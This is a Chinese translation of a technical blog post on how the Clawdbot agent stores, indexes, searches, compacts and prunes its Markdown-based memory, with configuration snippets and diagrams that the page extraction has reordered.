这确保无论你是在搜索概念("那个数据库的事情")还是具体内容("POSTGRES_URL"),都能获得良好的结果。 Clawdbot支持多个Agent,每个Agent都有完全独立的记忆: Markdown文件(事实来源)位于每个工作空间中,而SQLite索引(派生数据)位于状态目录中。每个Agent都有自己的工作空间和索引。记忆管理器通过agentId + workspaceDir来区分,因此不会自动发生跨Agent记忆搜索。 Agent能读取彼此的记忆吗? 默认不能。每个Agent只能看到自己的工作空间。但是,工作空间是一个软沙盒(默认工作目录),而不是硬边界。除非启用严格的沙盒机制,否则Agent理论上可以使用绝对路径访问另一个工作空间。 这种隔离对于分离上下文很有用。一个用于WhatsApp的"个人"Agent和一个用于Slack的"工作"Agent,各自拥有独立的记忆和个性。 每个AI模型都有上下文窗口限制。Claude有20万token,GPT-5.1有100万。长对话最终会触及这个上限。 当这种情况发生时,Clawdbot使用压缩:将旧对话总结为紧凑的条目,同时保留最近消息的完整性。 自动:当接近上下文限制时触发 手动:使用 /compact 命令 与某些优化不同,压缩会持久化到磁盘。摘要被写入会话的JSONL转录文件,因此未来的会话以压缩后的历史开始。 基于LLM的压缩是一个有损过程。重要信息可能被总结掉并可能丢失。为了应对这一点,Clawdbot使用了预压缩记忆刷新。 记忆刷新可以在clawdbot.yaml文件或clawdbot.json文件中配置。 工具结果可能非常庞大。单个exec命令可能输出5万个字符的日志。剪枝会修剪这些旧输出,而不重写历史。这是一个有损过程,旧输出无法恢复。 磁盘上的JSONL文件:保持不变(完整输出仍然在那里) Anthropic会对提示词前缀进行最多5分钟的缓存,以减少重复调用的延迟和成本。当相同的提示词前缀在TTL窗口内发送时,缓存的token成本降低约90%。TTL过期后,下一个请求必须重新缓存整个提示词。 问题:如果会话在TTL之后闲置,下一个请求会失去缓存,必须以完整的"缓存写入"价格重新缓存完整的对话历史。 缓存TTL剪枝通过在缓存过期后检测并修剪旧工具结果来解决这个问题。更小的提示词重新缓存意味着更低的成本: 会话不会永远持续。它们根据可配置的规则进行重置,为记忆创建自然的边界。默认行为是每天重置。但也有其他模式可用。 当你运行 /new 开始一个新会话时,会话记忆钩子可以自动保存上下文: Clawdbot的记忆系统之所以成功,是因为它遵循了几个关键原则: 1. 透明优于黑盒 记忆是纯Markdown。你可以阅读、编辑、版本控制它。没有不透明数据库或专有格式。 2. 搜索优于注入 与其用所有内容塞满上下文,不如让Agent搜索相关内容。这保持上下文聚焦并降低成本。 3. 持久优于会话 重要信息作为文件保存在磁盘上,而不仅仅存在于对话历史中。压缩无法摧毁已经保存的内容。 4. 混合优于单一 纯向量搜索会漏掉精确匹配。纯关键词搜索会漏掉语义。混合搜索两者兼得。 感谢阅读,如果对Vibe Coding和Agent开发感兴趣,也可以关注我的博客:程序猿DD以下内容翻译自《How Clawdbot Remembers Everything》
上下文是如何构建的
[0] 系统提示词(静态指令 + 条件指令)
[1] 项目上下文(引导文件:AGENTS.md、SOUL.md 等)
[2] 对话历史(消息、工具调用、压缩摘要)
[3] 当前消息上下文 vs 记忆
上下文 = 系统提示词 + 对话历史 + 工具结果 + 附件记忆 = MEMORY.md + memory/*.md + 会话转录文件记忆工具
1. memory_search
{
"name": "memory_search",
"description": "强制性回忆步骤:在回答关于之前工作、决策、日期、人员、偏好或待办事项的问题之前,对MEMORY.md和memory/*.md进行语义搜索",
"parameters": {
"query": "我们对API做了什么决定?",
"maxResults": 6,
"minScore": 0.35
}
}{
"results": [
{
"path": "memory/2026-01-20.md",
"startLine": 45,
"endLine": 52,
"score": 0.87,
"snippet": "## API 讨论\n决定为了简单起见使用REST而不是GraphQL...",
"source": "memory"
}
],
"provider": "openai",
"model": "text-embedding-3-small"
}2. memory_get
{
"name": "memory_get",
"description": "在使用memory_search后,从记忆文件中读取特定行",
"parameters": {
"path": "memory/2026-01-20.md",
"from": 45,
"lines": 15
}
}{
"path": "memory/2026-01-20.md",
"text": "## API 讨论\n\n与团队讨论API架构。\n\n### 决策\n我们选择REST而非GraphQL,原因如下:\n1. 实现更简单\n2. 更好的缓存支持\n3. 团队更熟悉\n\n### 端点\n- GET /users\n- POST /auth/login\n- GET /projects/:id"
}写入记忆
记忆存储
双层记忆系统
~/clawd/
├── MEMORY.md - 第二层:长期策划的知识
└── memory/
├── 2026-01-26.md - 第一层:今天的笔记
├── 2026-01-25.md - 昨天的笔记
├── 2026-01-24.md - ...以此类推
└── ...# 2026-01-26
## 10:30 AM - API 讨论
与用户讨论REST vs GraphQL。决策:为了简单使用REST。
关键端点:/users、/auth、/projects。
## 2:15 PM - 部署
将v2.3.0部署到生产环境。没有问题。
## 4:00 PM - 用户偏好
用户提到他们喜欢TypeScript胜过JavaScript。# 长期记忆
## 用户偏好
- 喜欢TypeScript胜过JavaScript
- 喜欢简洁的解释
- 正在做"Acme Dashboard"项目
## 重要决策
- 2026-01-15:选择PostgreSQL作为数据库
- 2026-01-20:采用REST而非GraphQL
- 2026-01-26:使用Tailwind CSS进行样式设计
## 关键联系人
- Alice (alice@acme.com) - 设计负责人
- Bob (bob@acme.com) - 后端工程师Agent如何知道要读取记忆
AGENTS.md文件(会自动加载)包含以下指令:## 每次会话
在做其他事情之前:
1. 阅读 SOUL.md - 这是你是谁
2. 阅读 USER.md - 这是你在帮助谁
3. 阅读 memory/YYYY-MM-DD.md(今天和昨天)获取近期上下文
4. 如果是在主会话中(与你的主人直接聊天),还要阅读 MEMORY.md
不要请求许可,直接做。记忆如何被索引
┌─────────────────────────────────────────────────────────────┐
│ 1. 文件保存 │
│ ~/clawd/memory/2026-01-26.md │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. 文件监视器检测到变化 │
│ Chokidar 监视 MEMORY.md + memory/**/*.md │
│ 防抖1.5秒以批量处理快速写入 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. 分块 │
│ 分割成约400 token的块,重叠80 token │
│ │
│ ┌────────────────┐ │
│ │ 块 1 │ │
│ │ 第 1-15 行 │──────┐ │
│ └────────────────┘ │ │
│ ┌────────────────┐ │ (80 token 重叠) │
│ │ 块 2 │◄─────┘ │
│ │ 第 12-28 行 │──────┐ │
│ └────────────────┘ │ │
│ ┌────────────────┐ │ │
│ │ 块 3 │◄─────┘ │
│ │ 第 25-40 行 │ │
│ └────────────────┘ │
│ │
│ 为什么用400/80?平衡语义连贯性与粒度。 │
│ 重叠确保跨越块边界的事实能被两边捕获。 │
│ 两个值都是可配置的。 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. 嵌入 │
│ 每个块 -> 嵌入提供商 -> 向量 │
│ │
│ "讨论REST vs GraphQL" -> │
│ OpenAI/Gemini/Local -> │
│ [0.12, -0.34, 0.56, ...] (1536 维) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. 存储 │
│ ~/.clawdbot/memory/<agentId>.sqlite │
│ │
│ 表: │
│ - chunks (id, path, start_line, end_line, text, hash) │
│ - chunks_vec (id, embedding) -> sqlite-vec │
│ - chunks_fts (text) -> FTS5 全文搜索 │
│ - embedding_cache (hash, vector) -> 避免重复嵌入 │
└─────────────────────────────────────────────────────────────┘记忆如何被搜索
最终得分 = (0.7 * 向量得分) + (0.3 * 文本得分)多Agent记忆
~/.clawdbot/memory/ # 状态目录(索引)
├── main.sqlite # "main" Agent的向量索引
└── work.sqlite # "work" Agent的向量索引
~/clawd/ # "main" Agent工作空间(源文件)
├── MEMORY.md
└── memory/
└── 2026-01-26.md
~/clawd-work/ # "work" Agent工作空间(源文件)
├── MEMORY.md
└── memory/
└── 2026-01-26.md压缩
┌─────────────────────────────────────────────────────────────┐
│ 压缩前 │
│ 上下文:180,000 / 200,000 token │
│ │
│ [第1轮] 用户:"我们建个API吧" │
│ [第2轮] Agent:"好的!你需要什么端点?" │
│ [第3轮] 用户:"用户和认证相关的" │
│ [第4轮] Agent:*创建了500行模式定义* │
│ [第5轮] 用户:"加上限流功能" │
│ [第6轮] Agent:*修改代码* │
│ ...(还有100多轮)... │
│ [第150轮] 用户:"状态怎么样了?" │
│ │
│ ⚠️ 接近限制 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 触发压缩 │
│ │
│ 1. 将第1-140轮总结为紧凑摘要 │
│ 2. 保留第141-150轮不变(近期上下文) │
│ 3. 将摘要持久化到JSONL转录文件 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 压缩后 │
│ 上下文:45,000 / 200,000 token │
│ │
│ [摘要] "构建了带/users、/auth端点的REST API。 │
│ 实现了JWT认证、限流(100次/分钟)、PostgreSQL数据库。 │
│ 已部署到预发布环境v2.4.0。 │
│ 当前重点:生产环境部署准备。" │
│ │
│ [第141-150轮原样保留] │
│ │
└─────────────────────────────────────────────────────────────┘自动 vs 手动压缩
/compact 重点关注决策和未解决的问题记忆刷新
┌─────────────────────────────────────────────────────────────┐
│ 上下文接近限制 │
│ │
│ ████████████████████████████░░░░░░░░ 上下文的75% │
│ ↑ │
│ 超过软阈值 │
│ (contextWindow - reserve - softThreshold)│
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 静默记忆刷新轮次 │
│ │
│ 系统:"预压缩记忆刷新。现在存储持久的 │
│ 记忆(使用 memory/YYYY-MM-DD.md)。 │
│ 如果没有要存储的,回复 NO_REPLY。" │
│ │
│ Agent:审查对话中的重要信息 │
│ 将关键决策/事实写入记忆文件 │
│ -> NO_REPLY(用户看不到任何内容) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 安全进行压缩 │
│ │
│ 重要信息现在已在磁盘上 │
│ 压缩可以在不丢失知识的情况下进行 │
└─────────────────────────────────────────────────────────────┘{
"agents": {
"defaults": {
"compaction": {
"reserveTokensFloor": 20000,
"memoryFlush": {
"enabled": true,
"softThresholdTokens": 4000,
"systemPrompt": "会话接近压缩。现在存储持久的记忆。",
"prompt": "将持久的笔记写入 memory/YYYY-MM-DD.md;如果没有要存储的,回复 NO_REPLY。"
}
}
}
}
}剪枝
┌─────────────────────────────────────────────────────────────┐
│ 剪枝前(内存中) │
│ │
│ 工具结果(exec):[5万个字符的npm install输出] │
│ 工具结果(read):[大型配置文件,1万个字符] │
│ 工具结果(exec):[构建日志,3万个字符] │
│ 用户:"构建成功了吗?" │
└─────────────────────────────────────────────────────────────┘
│
▼ (软修剪 + 硬清除)
┌─────────────────────────────────────────────────────────────┐
│ 剪枝后(发送给模型) │
│ │
│ 工具结果(exec):"npm WARN deprecated...[已截断] │
│ ...成功安装。" │
│ 工具结果(read):"[旧工具结果内容已清除]" │
│ 工具结果(exec):[保留 - 太新,不适合剪枝] │
│ 用户:"构建成功了吗?" │
└─────────────────────────────────────────────────────────────┘缓存TTL剪枝
{
"agent": {
"contextPruning": {
"mode": "cache-ttl",
"ttl": "600",
"keepLastAssistants": 3,
"softTrim": {
"maxChars": 4000,
"headChars": 1500,
"tailChars": 1500
},
"hardClear": {
"enabled": true,
"placeholder": "[旧工具结果内容已清除]"
}
}
}
}会话生命周期
会话记忆钩子
/new
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 触发会话记忆钩子 │
│ │
│ 1. 从结束会话中提取最后15条消息 │
│ 2. 通过LLM生成描述性slug │
│ 3. 保存到 ~/clawd/memory/2026-01-26-api-design.md │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 新会话开始 │
│ │
│ 之前的上下文现在可以通过 memory_search 搜索 │
└─────────────────────────────────────────────────────────────┘总结
参考资料